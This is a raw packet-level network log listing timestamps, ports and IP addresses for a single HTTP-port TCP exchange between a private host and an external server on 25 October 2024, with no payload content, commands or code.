Oct 25, 2024 13:50:20.691579103 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691587925 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691620111 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691628933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691668987 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691677094 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691711903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691719055 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691740036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691757917 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691781044 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691796064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691829920 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691836119 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691863060 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691870928 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691899061 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691907883 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691939116 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692015886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692049026 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692063093 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692082882 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692100048 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692116022 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692133904 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692148924 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692159891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692182064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692193031 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692215919 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692223072 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692253113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692265987 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692286968 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692297935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692322016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692338943 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692353964 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692358017 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692388058 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692394018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692420959 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692430973 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692455053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692488909 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692497969 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692497969 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692523956 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692542076 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692557096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692574024 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692590952 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692611933 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692625046 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692637920 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692657948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692667961 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692692041 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692698002 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692728043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692734957 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692760944 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692769051 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692796946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692804098 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692831993 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.692840099 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.692873001 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.807816029 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.807897091 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.807924986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.807957888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.807976007 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808010101 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808012009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808058023 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808074951 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808129072 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808129072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808187962 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808190107 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808227062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808240891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808263063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808276892 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808295965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808310986 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808343887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808347940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808377028 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808403015 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808425903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808429956 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808480978 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808484077 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808533907 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808535099 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808572054 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808583975 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808607101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808628082 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808643103 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808655024 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808686018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808710098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808744907 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808763027 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808799028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808811903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808845997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808859110 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808883905 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808892012 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808938980 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.808942080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808976889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.808989048 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809012890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809025049 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809052944 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809063911 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809098005 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809109926 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809132099 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809144020 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809165955 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809175968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809201002 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809212923 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809236050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809248924 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809287071 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809288025 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809323072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809334993 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809356928 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809369087 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809406042 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809408903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809439898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809473038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809503078 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809513092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809525013 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809525967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809561968 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809583902 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809598923 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809612989 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809632063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809648037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809665918 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809684038 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809700012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809719086 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809734106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809746027 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809767962 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809788942 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809802055 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809825897 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809829950 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809860945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809863091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809887886 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809899092 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809927940 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809935093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809951067 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.809968948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.809992075 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810003042 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810036898 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810038090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810066938 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810071945 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810082912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810107946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810117960 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810137033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810156107 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810170889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810204029 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810235977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810254097 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810260057 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810260057 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810291052 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810323954 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810329914 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810359955 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810368061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810374975 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810410023 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810426950 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810445070 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810455084 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810480118 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810514927 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810517073 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810544968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810565948 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810566902 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810609102 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810620070 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810661077 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810662031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810698032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810712099 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810731888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810744047 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810767889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810780048 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810803890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810815096 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810839891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810852051 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810877085 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810885906 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810913086 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810928106 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810950041 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.810965061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.810986042 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811016083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.811019897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811048031 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.811055899 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811064959 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.811090946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811106920 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.811125994 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811141014 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.811160088 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811172962 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.811193943 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811204910 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.811228991 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811234951 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.811264038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811274052 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.811295033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811307907 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.811343908 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.811348915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811388016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811419010 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811429977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.811436892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.811561108 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.925403118 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.925641060 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.925667048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.925700903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.925734997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.925754070 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.925787926 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.925822020 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.925843000 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.925856113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.925873995 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.925908089 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.925915956 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.925952911 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.925960064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926001072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926009893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926033974 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926084042 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926084042 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926135063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926148891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926170111 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926182032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926218987 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926260948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926275015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926281929 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926301956 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926323891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926326036 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926357985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926372051 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926395893 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926410913 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926434040 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926436901 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926521063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926532984 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926589966 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926624060 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926625967 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926645994 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926657915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926673889 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926692009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926742077 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926748037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926775932 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926794052 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926825047 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926852942 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926858902 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926889896 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926893950 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926927090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926948071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926949024 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.926989079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.926995993 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.927025080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.927058935 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.927073956 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.927093029 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.927115917 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.927126884 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.927153111 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.927175999 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.927181959 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.927217007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.927264929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.927283049 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.927284002 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.927301884 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.927336931 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.927336931 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.927373886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.927406073 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.927458048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.927458048 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.927508116 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.927542925 CEST	80	49712	185.215.113.37	192.168.2.6
